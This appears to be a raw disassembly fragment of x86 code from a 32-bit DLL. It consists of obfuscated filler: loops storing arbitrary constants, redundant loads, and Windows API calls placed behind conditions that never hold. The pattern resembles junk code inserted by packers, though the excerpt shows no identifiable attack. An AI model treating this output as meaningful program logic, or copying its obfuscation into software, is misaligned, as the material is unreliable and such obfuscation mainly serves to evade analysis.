mov dword [ebp + eax*4 - 0x650], esi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x10025c6e
xor eax, eax
mov dword [ebp - 0x64c], 0xfffffff0
cmp dword [ebp - 0x64c], 0x16
jl 0x10025d7a
jmp 0x10025c9d
xor eax, eax
mov dword [ebp - 0x1c], eax
push 0xfffffffffffffff6
pop ecx
mov dword [ebp - 0xa9c], ecx
mov dword [ebp - 0xa98], ecx
mov dword [ebp - 0xa94], ecx
mov dword [ebp - 0xa90], ecx
mov dword [ebp - 0x30], 0xb2455f99
mov dword [ebp - 0x18], eax
jmp 0x10025cd8
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1068], 0xa2324015
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x10025cc7
inc dword [ebp - 0x1c]
mov eax, dword [ebp - 0x64c]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0xa94], eax
test eax, eax
jne 0x10025d45
mov eax, dword [ebp - 0xa94]
cmp eax, dword [ebp - 0x24]
jg 0x10025d2e
mov ecx, dword [ebp - 0x64c]
mov eax, dword [ebp - 0x24]
imul ecx, eax
mov eax, dword [ebp - 0x28]
sub ecx, eax
mov dword [ebp - 0xa94], ecx
lea eax, [ecx - 0x564705b8]
cmp dword [ebp - 0x28], eax
je 0x10025d2e
xor eax, eax
xor esi, esi
inc esi
lea edx, [eax + 1]
jmp 0x10025d32
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp edx, eax
setg cl
sub ecx, dword [ebp - 0x1c]
jne 0x10025d45
xor eax, eax
jmp 0x10025d47
mov eax, esi
add eax, 5
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x1068], eax
mov eax, dword [ebp - 0x1068]
sub eax, 0xfffffff9
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x30], eax
inc dword [ebp - 0x64c]
cmp dword [ebp - 0x64c], 0x16
jge 0x10025c9b
mov dword [ebp - 0x18], esi
xor eax, eax
dec dword [ebp - 0x18]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x15
je 0x10025e38
push esi
lea ecx, [ebp - 0x714]
call fcn.1000a8a0
push 6
pop eax
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], esi
jge 0x10025dcf
push dword [ebp - 0x20]
lea ecx, [ebp - 0x714]
call fcn.1000a90d
mov dword [eax], 0x905d09ea
xor eax, eax
inc dword [ebp - 0x20]
inc eax
cmp dword [ebp - 0x20], eax
jl 0x10025dab
xor esi, esi
xor eax, eax
inc esi
push eax
lea ecx, [ebp - 0x714]
call fcn.1000a90d
mov dword [eax], 0x17
jmp 0x10025e05
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], al
je 0x10025df7
push 0x21
call dword [sym.imp.USER32.dll_GetQueueStatus]
xor eax, eax
push eax
lea ecx, [ebp - 0x714]
call fcn.1000a90d
dec dword [eax]
xor eax, eax
lea ecx, [ebp - 0x714]
push eax
call fcn.1000a90d
cmp dword [eax], 0xfffffff1
jne 0x10025de3
or eax, 0xffffffff
lea ecx, [ebp - 0x714]
mov dword [ebp - 4], eax
call fcn.1000a908
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x15
jne 0x10025d8f
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 4
jge 0x10025e5a
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1414], 0x67120dd9
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x10025e41
xor eax, eax
mov dword [ebp - 0x18], 0x2e8
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 2
jge 0x10025e83
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xd4], 0x99841b3c
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x10025e6a
xor eax, eax
mov dword [ebp - 0xd4], 8
cmp dword [ebp - 0xd4], 0xffffffe5
jle 0x10025f2a
jmp 0x10025e9e
xor eax, eax
mov dword [ebp - 0x30], 0x7d1649bc
mov dword [ebp - 0x20], eax
jmp 0x10025ebb
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x674], 0xd0657689
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x10025eaa
mov edx, dword [ebp - 0x674]
xor ecx, ecx
mov eax, dword [ebp - 0x674]
sub edx, eax
mov eax, dword [ebp - 0xd4]
cmp edx, eax
push 5
setge cl
pop eax
sub eax, ecx
jne 0x10025ee9
mov eax, dword [ebp - 0x670]
mov eax, dword [ebp - 0x674]
mov eax, dword [ebp - 0xd4]
mov eax, dword [ebp - 0xd4]
mov eax, dword [ebp - 0xd0]
mov eax, dword [ebp - 0xd0]
xor eax, eax
cmp dword [ebp - 0x18], eax
jge 0x10025f10
jne 0x10025f12
je 0x10025f14
mov eax, esi
mov dword [ebp - 0x30], eax
dec dword [ebp - 0xd4]
cmp dword [ebp - 0xd4], 0xffffffe5
jg 0x10025e9c
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x1002609d
mov dword [ebp - 0x20], 0xad901516
mov dword [ebp - 0x20], esi
cmp dword [ebp - 0x20], eax
jl 0x1002609a
push esi
lea ecx, [ebp - 0x5a8]
call fcn.1000a8a0
xor eax, eax
mov dword [ebp - 4], 7
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], esi
jge 0x10025f85
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x5a8]
call fcn.1000a90d
and dword [eax], 0
xor eax, eax
inc dword [ebp - 0x2c]
inc eax
cmp dword [ebp - 0x2c], eax
jl 0x10025f64
xor esi, esi
xor eax, eax
inc esi
push eax
lea ecx, [ebp - 0x5a8]
call fcn.1000a90d
xor ecx, ecx
push ecx
mov dword [eax], ecx
lea ecx, [ebp - 0x5a8]
call fcn.1000a90d
cmp dword [eax], esi
jg 0x1002607e
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 4
jge 0x10025fcd
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x790], 2
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 4
jl 0x10025fb4
xor eax, eax
mov dword [ebp - 0x790], eax
cmp dword [ebp - 0x790], 2
jge 0x10025ffa
mov eax, dword [ebp - 0x790]
mov dword [ebp + eax*4 - 0xd4], esi
inc dword [ebp - 0x790]
cmp dword [ebp - 0x790], 2
jl 0x10025fdc
xor eax, eax
push eax
lea ecx, [ebp - 0x5a8]
call fcn.1000a90d
mov eax, dword [ebp - 0x790]
mov ecx, 0xee00b46f
mov eax, dword [ebp - 0x20]
cmp ecx, eax
mov edx, dword [ebp - 0x788]
sbb eax, eax
neg eax
sub edx, eax
mov eax, dword [ebp - 0x20]
neg edx
sbb edx, edx
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0xd4]
inc edx
cmp eax, 0x16c28cbd
mov eax, dword [ebp - 0x20]
setne cl
sub edx, eax
add edx, ebx
imul ecx, edx
cmp ecx, 7
lea ecx, [ebp - 0x5a8]
sbb eax, eax
xor ebx, ebx
neg eax
add eax, 0x65cab430
push ebx
mov dword [ebp - 0xd4], eax
call fcn.1000a90d
push ebx
lea ecx, [ebp - 0x5a8]
inc dword [eax]
call fcn.1000a90d
push 3
pop ebx
cmp dword [eax], esi
jle 0x10025fa9
or eax, 0xffffffff
lea ecx, [ebp - 0x5a8]
mov dword [ebp - 4], eax
call fcn.1000a908
dec dword [ebp - 0x20]
jns 0x10025f47
xor eax, eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x1b
jg 0x10025f34
mov dword [ebp - 0x2c], eax
jmp 0x10027553
mov dword [ebp - 0x20], 7
or esi, 0xffffffff
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x1c], 0xdae5a60d
mov dword [ebp - 0x48], 0x2949f4ff
mov dword [ebp - 0x28], 0xfb26c4f3
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x1c], eax
xor eax, eax
cmp dword [ebp - 0x1c], eax
jne 0x100260e7
cmp dword [ebp - 0x20], eax
jne 0x100260e7
mov ecx, eax
jmp 0x100260ec
xor eax, eax
lea ecx, [eax + 1]
mov eax, dword [ebp - 0x20]
xor edx, edx
imul eax, ecx
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setne dl
inc edx
neg edx
sbb edx, edx
add edx, 0xa
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp eax, edx
setle cl
add ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x48], ecx
je 0x100261a6
xor eax, eax
mov dword [ebp - 0x30], 0xb8fa48a2
xor ecx, ecx
mov dword [ebp - 0x10], eax
inc ecx
cmp dword [ebp - 0x10], ecx
jge 0x10026154
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x970], 0x329e
xor eax, eax
inc dword [ebp - 0x10]
inc eax
cmp dword [ebp - 0x10], eax
jl 0x10026139
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x1002616a
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x890], 0
inc dword [ebp - 0x10]
xor eax, eax
inc eax
cmp dword [ebp - 0x10], eax
jl 0x10026159
mov eax, dword [ebp - 0x48]
xor ecx, ecx
mov eax, dword [ebp - 0x1c]
inc ecx
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x970], eax
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x890], eax
mov eax, dword [ebp - 0x28]
xor eax, eax
mov dword [ebp - 0x28], eax
jmp 0x100261b4
mov dword [ebp - 0x30], esi
xor ecx, ecx
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x30], eax
xor eax, eax
inc ecx
mov dword [ebp - 0x40], 0x6fe7d8a8
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ecx
jge 0x100261e1
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x9bc], 0
xor eax, eax
inc dword [ebp - 0x18]
inc eax
cmp dword [ebp - 0x18], eax
jl 0x100261c3
xor ecx, ecx
xor eax, eax
inc ecx
push 4
mov dword [ebp - 0x40], eax
pop edx
cmp dword [ebp - 0x40], eax
jg 0x10026284
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x10026213
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x14dc], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x100261fb
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edx
jge 0x1002622f
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1148], edx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
jl 0x1002621b
xor eax, eax
inc dword [ebp - 0x20]
dec dword [ebp - 0x1148]
mov dword [ebp - 0x20], eax
jmp 0x10026277
mov dword [ebp - 0x18], 8
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], eax
jl 0x10026261
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x9bc], 0xfffffffa
dec dword [ebp - 0x18]
jns 0x1002624c
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], eax
jl 0x10026274
mov dword [ebp - 0x48], esi
dec dword [ebp - 0x48]
dec dword [ebp - 0x18]
jns 0x10026269
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], eax
jle 0x1002623d
inc dword [ebp - 0x40]
jmp 0x100261e7
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x30], 6
mov dword [ebp - 0x10], 0xfffffffc
cmp dword [ebp - 0x10], 0xffffffe5
jle 0x100262f6
mov dword [ebp - 0x18], ecx
mov eax, dword [ebp - 0x10]
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x100262ab
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x30], eax
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], al
je 0x100262eb
push 0xe7b
push 0x2099
push 0x363
push 0x107f
push eax
call dword [sym.imp.USER32.dll_SetRect]
xor ecx, ecx
inc ecx
dec dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xffffffe5
jg 0x1002629b
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x10026309
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x80], 0x8c66f5a9
inc dword [ebp - 0x18]
xor eax, eax
inc eax
cmp dword [ebp - 0x18], eax
jl 0x100262fb
movdqa xmm0, xmmword [0x10009430]
lea eax, [ebp - 0x1078]
push eax
lea eax, [ebp - 0x1088]
push eax
lea ecx, [ebp - 0x1464]
movdqu xmmword [ebp - 0x1088], xmm0
call fcn.1000a91c
lea ecx, [ebp - 0x2b9]
mov esi, eax
call fcn.1000a5b5
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x33c]
push dword [esi]
call fcn.1000a8e2
mov dword [ebp - 4], 8
mov dword [ebp - 0x10], 0xbf0b96ca
push 0xfffffffffffffff6
mov dword [ebp - 0x48], 0x86fd5d70
pop eax
mov dword [ebp - 0x18], eax
xor eax, eax
mov dword [ebp - 0x10], ebx
cmp dword [ebp - 0x10], eax
jl 0x100264d3
push dword [ebp - 0x10]
lea ecx, [ebp - 0x33c]
call fcn.1000a90d
push dword [ebp - 0x10]
lea ecx, [ebp - 0x33c]
mov esi, eax
call fcn.1000a90d
mov ecx, dword [esi]
imul ecx, dword [eax]
mov dword [ebp - 0x48], ecx
lea ecx, [ebp - 0x33c]
mov eax, dword [ebp - 0x48]
push dword [ebp - 0x10]
call fcn.1000a90d
push dword [ebp - 0x10]
lea ecx, [ebp - 0x33c]
call fcn.1000a90d
push dword [ebp - 0x10]
xor ecx, ecx
xor ebx, ebx
inc ecx
cmp dword [eax], ecx
lea ecx, [ebp - 0x33c]
setl bl
call fcn.1000a90d
xor ecx, ecx
cmp dword [eax], ebx
setl cl
add ecx, 0x29c8ddac
jne 0x100263f8
xor eax, eax
cmp dword [ebp - 0x18], eax
jne 0x100263f8
mov esi, eax
jmp 0x100263fd
xor eax, eax
lea esi, [eax + 1]
push dword [ebp - 0x10]
lea ecx, [ebp - 0x33c]
call fcn.1000a90d
or ecx, 0xffffffff
xor edx, edx
cmp esi, ecx
mov ecx, dword [ebp - 0x10]
push dword [ebp - 0x10]
setne dl
xor ebx, ebx
sub edx, 0x4f9d
cmp ecx, edx
lea ecx, [ebp - 0x33c]
setne bl
add ebx, dword [eax]
mov dword [ebp - 0x30], ebx
call fcn.1000a90d
mov ecx, dword [ebp - 0x30]
xor ebx, ebx
push dword [ebp - 0x10]
cmp ecx, dword [eax]
lea ecx, [ebp - 0x33c]
setl bl
call fcn.1000a90d
xor ecx, ecx
cmp ebx, dword [eax]
setge cl
xor eax, eax
cmp ecx, 7
ja 0x1002649d
push 3
mov dword [ebp - 0x30], 0xbefa025e
pop ebx
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], eax
jl 0x100264b8
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x10026480
push eax
call dword [sym.imp.USER32.dll_RegisterClassA]
push dword [ebp - 0x18]
lea ecx, [ebp - 0x33c]
call fcn.1000a90d
mov ecx, dword [ebp - 0x30]
push 0
mov dword [eax], ecx
dec dword [ebp - 0x18]
pop eax
jns 0x10026470
jmp 0x100264b6
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], al
je 0x100264b3
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowPlacement]
push 3
pop ebx
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x100264ca
push eax
push eax
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringByteLen]
dec dword [ebp - 0x10]
jns 0x10026381
or eax, 0xffffffff
lea ecx, [ebp - 0x33c]
mov dword [ebp - 4], eax
call fcn.1000a908
xor eax, eax
mov dword [ebp - 0x80], ebx
cmp dword [ebp - 0x80], eax
jl 0x10027429
xor esi, esi
inc esi
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x28], 9
mov dword [ebp - 0x1c], 0xc4d1454b
mov dword [ebp - 0x48], 0xfffffff6
mov dword [ebp - 0x30], 0xfffffff7
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x10026532
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetTextColor]
mov eax, dword [ebp - 0x18]
neg eax
jne 0x10026541
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x18]
je 0x10026543
mov eax, esi
xor ecx, ecx
cmp ecx, eax
sbb eax, eax
or ebx, 0xffffffff
neg eax
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x18]
cmp ebx, eax
mov eax, dword [ebp - 0x28]
sbb edx, edx
neg edx
cmp edx, eax
setne cl
xor eax, eax
mov dword [ebp - 0x1c], ecx
cmp dword [ebp - 0x1c], eax
je 0x10026573
cmp dword [ebp - 0x28], eax
je 0x10026573
mov eax, esi
mov dword [ebp - 0x48], eax
xor eax, eax
cmp dword [ebp - 0x48], eax
jne 0x10026582
cmp dword [ebp - 0x18], eax
je 0x10026584
mov eax, esi
mov dword [ebp - 0x30], eax
lea ecx, [ebp - 0xf28]
mov dword [ebp - 0x34], 0xfffffffd
push esi
call fcn.1000a8a0
mov dword [ebp - 4], 9
xor eax, eax
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x100265d2
push dword [ebp - 0x18]
lea ecx, [ebp - 0xf28]
call fcn.1000a90d
mov dword [eax], 0x8f93905c
xor eax, eax
inc dword [ebp - 0x18]
inc eax
cmp dword [ebp - 0x18], eax
jl 0x100265ae
xor esi, esi
xor eax, eax
inc esi
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x100265fd
push 0x1549
push eax
push eax
push eax
push eax
push 0xfe4
push 0x1b6c
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ScrollWindowEx]
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x10026617
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x10026614
push eax
call dword [sym.imp.USER32.dll_GetMenuItemCount]
xor eax, eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], eax
jle 0x10026602
lea ecx, [ebp - 0xf28]
mov dword [ebp - 4], ebx
call fcn.1000a908
xor eax, eax
lea ecx, [ebp - 0x164]
mov dword [ebp - 0x30], eax
push 4
call fcn.1000a8a0
mov dword [ebp - 4], 0xa
push 0xfffffffffffffffe
pop eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x1c], eax
mov eax, 0xffff
mov dword [ebp - 0x48], eax
xor eax, eax
mov dword [ebp - 0x30], 0xfffffffc
mov dword [ebp - 0x48], 0xfffffff7
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x10026687
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x64], 0x8b13
xor eax, eax
inc dword [ebp - 0x10]
inc eax
cmp dword [ebp - 0x10], eax
jl 0x1002666c
xor esi, esi
xor eax, eax
inc esi
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x100266af
push dword [ebp - 0x10]
lea ecx, [ebp - 0x164]
call fcn.1000a90d
mov dword [eax], 0xfcb50bf3
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x10026690
xor eax, eax
push eax
lea ecx, [ebp - 0x164]
call fcn.1000a90d
xor ebx, ebx
mov dword [eax], ebx
jmp 0x100269a5
xor eax, eax
mov dword [ebp - 0x34], 0x6942a1e9
mov dword [ebp - 0x34], eax
jmp 0x1002692d
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x18], 0x3e469209
mov dword [ebp - 0x1c], 0x56bf5ee8
mov dword [ebp - 0x10], 0xdffc5a25
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], eax
jl 0x1002692a
mov dword [ebp - 0x18], eax
jmp 0x1002670f
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x148], 0x38315eac
inc dword [ebp - 0x18]
xor eax, eax
inc eax
cmp dword [ebp - 0x18], eax
jl 0x100266fe
mov eax, dword [ebp - 0x34]
xor esi, esi
xor ebx, ebx
inc esi
cmp dword [ebp + eax*4 - 0x64], ebx
jne 0x1002679a
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x164]
push esi
call fcn.1000a90d
mov eax, dword [eax]
neg eax
cmp eax, dword [ebp - 0x20]
je 0x10026740
mov eax, dword [ebp - 0x34]
push 2
lea ecx, [ebp - 0x164]
call fcn.1000a90d
mov eax, dword [ebp - 0x34]
xor edx, edx
mov eax, dword [ebp + eax*4 - 0x64]
mov ecx, dword [ebp - 0x64]
mov eax, dword [ebp - 0x64]
cmp ecx, eax
mov eax, dword [ebp - 0x34]
setg dl
xor ecx, ecx
sub edx, 0x13ca
cmp edx, 0x38e8
mov eax, dword [ebp + eax*4 - 0x64]
setl cl
sub ecx, eax
je 0x10026784
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp + eax*4 - 0x64]
push ebx
lea ecx, [ebp - 0x164]
call fcn.1000a90d
mov eax, dword [eax]
mov dword [ebp + eax*4 - 0x64], 0x9c9d
mov eax, dword [ebp - 0x20]
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x18], 0xe
jmp 0x10026911
mov dword [ebp - 0x48], 0xf51b
lea ecx, [ebp - 0x164]
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x20]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x48]
push ebx
call fcn.1000a90d
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0x64]
mov dword [ebp - 0x28], eax
xor eax, eax
cmp dword [ebp - 0x28], eax
jne 0x100267f1
cmp dword [ebp - 0x1c], eax
jne 0x100267f1
cmp dword [ebp - 0x48], eax
je 0x100267f3
mov eax, esi
mov dword [ebp - 0x1c], eax
lea ecx, [ebp - 0x164]
xor eax, eax
push eax
call fcn.1000a90d
mov ecx, dword [ebp - 0x34]
mov esi, eax
xor eax, eax
mov edx, dword [ebp + ecx*4 - 0x64]
mov ecx, dword [ebp - 0x1c]
cmp ecx, edx
mov ecx, dword [ebp - 0x34]
setg al
xor edx, edx
cmp eax, ecx
setne dl
xor eax, eax
cmp edx, 0xfffffffa
setg al
xor ecx, ecx
cmp eax, 0x9107
mov eax, dword [ebp - 0x34]
setne cl
xor edx, edx
cmp ecx, dword [esi]
mov eax, dword [ebp + eax*4 - 0x64]
setl dl
sub edx, eax
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x148]
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x100268de
xor esi, esi
mov dword [ebp - 0x10], eax
xor ebx, ebx
inc esi
cmp dword [ebp - 0x10], eax
jl 0x1002690e
mov dword [ebp - 0x24], 2
xor edx, edx
mov dword [ebp - 0x48], 0x798d6677
mov dword [ebp - 0x48], 0x435fa7dc
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x48]
cmp ecx, eax
push ebx
setge dl
lea ecx, [ebp - 0x164]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp + eax*4 - 0x148]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp + eax*4 - 0x148]
mov eax, dword [ebp - 0x30]
call fcn.1000a90d
mov ecx, esi
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0x64]
mov eax, dword [ebp - 0x34]
mov edx, dword [ebp + eax*4 - 0x148]
mov eax, dword [ebp - 0x24]
sub ecx, eax
xor eax, eax
cmp edx, ecx
sete al
mov dword [ebp - 0x48], eax
dec dword [ebp - 0x10]
jns 0x1002686b
jmp 0x1002690e
mov dword [ebp - 0x48], 0xcb15e7ce
cmp dword [ebp - 0x48], eax
jne 0x1002691b
mov dword [ebp - 0x10], eax
or ecx, 0xffffffff
cmp dword [ebp - 0x10], ecx
jg 0x10026909
cmp dword [ebp - 0x34], eax
jne 0x10026909
mov eax, dword [ebp - 0x34]
push 0
mov eax, dword [ebp + eax*4 - 0x64]
dec dword [ebp - 0x10]
pop eax
jmp 0x100268f0
xor esi, esi
xor ebx, ebx
inc esi
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xfffffffa
jle 0x100267b2
dec dword [ebp - 0x20]
push 0
pop eax
jns 0x100266f9
xor esi, esi
inc esi
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], eax
jle 0x100266d5
push 3
lea ecx, [ebp - 0x164]
call fcn.1000a90d
imul ecx, dword [ebp - 0x34], 0x1339
mov esi, eax
dec ecx
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, 0x2d15ffe
mov ecx, dword [ebp - 0x34]
setle dl
add ecx, dword [ebp - 0x34]
xor eax, eax
cmp ecx, edx
setge al
cmp eax, dword [esi]
jle 0x1002697c
xor eax, eax
cmp dword [ebp - 0x64], eax
je 0x1002697e
xor esi, esi
inc esi
mov eax, esi
jmp 0x10026981
xor eax, eax
xor esi, esi
inc esi
neg eax
je 0x10026990
xor eax, eax
cmp dword [ebp - 0x28], eax
je 0x10026992
mov eax, esi
jmp 0x10026992
xor eax, eax
xor ebx, ebx
mov dword [ebp - 0x48], eax
push ebx
lea ecx, [ebp - 0x164]
call fcn.1000a90d
inc dword [eax]
push ebx
lea ecx, [ebp - 0x164]
call fcn.1000a90d
cmp dword [eax], ebx
jle 0x100266c4
or eax, 0xffffffff
lea ecx, [ebp - 0x164]
mov dword [ebp - 4], eax
call fcn.1000a908
xor eax, eax
mov dword [ebp - 0x30], esi
push 3
mov dword [ebp - 0x34], eax
pop ebx
cmp dword [ebp - 0x34], ebx
jg 0x1002741d
or ecx, 0xffffffff
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x38], 0x6cc9ca31
mov dword [ebp - 0x1c], 0xdfb
mov dword [ebp - 0x28], 8
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x48], 0xef23e469
mov dword [ebp - 0x48], esi
mov dword [ebp - 0x18], 0x983c17a3
mov dword [ebp - 0x24], 0x1f23
mov dword [ebp - 0x50], 0x373c9468
mov dword [ebp - 0x30], 0xec70
mov eax, dword [ebp - 0x20]
xor eax, eax
cmp dword [ebp - 0x20], eax
je 0x10026ab3
cmp dword [ebp - 0x1c], 0x3cc9
jl 0x10026a3e
cmp dword [ebp - 0x20], eax
je 0x10026a40
mov eax, esi
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x1c]
setne dl
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x28], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
dec eax
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x28]
cmp eax, 0x8842b4cf
setne cl
xor eax, eax
cmp ecx, 0xfe0c
setne al
sub eax, 0x782e
sub eax, dword [ebp - 0x20]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
imul eax, dword [ebp - 0x28]
imul eax, dword [ebp - 0x20]
test eax, eax
jne 0x10026ab8
cmp dword [ebp - 0x50], eax
je 0x10026aba
mov eax, esi
cmp eax, esi
mov eax, dword [ebp - 0x38]
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
setl dl
xor eax, eax
add edx, 0xf34f
cmp edx, 0x5697
setle al
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x18], 0x1b
cmp dword [ebp - 0x18], 0xffffffea
jle 0x10026aff
xor eax, eax
mov dword [ebp - 0x30], 0xb96bc97d
mov dword [ebp - 0x30], eax
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xffffffea
jg 0x10026aec
mov dword [ebp - 0x40], 0x7b844a75
lea ecx, [ebp - 0x394]
push ebx
call fcn.1000a8a0
mov dword [ebp - 4], 0xb
mov eax, 0x93d0b548
mov dword [ebp - 0xa7c], eax
or ecx, 0xffffffff
mov dword [ebp - 0xa78], eax
mov dword [ebp - 0xa74], eax
mov dword [ebp - 0xa70], eax
xor eax, eax
inc eax
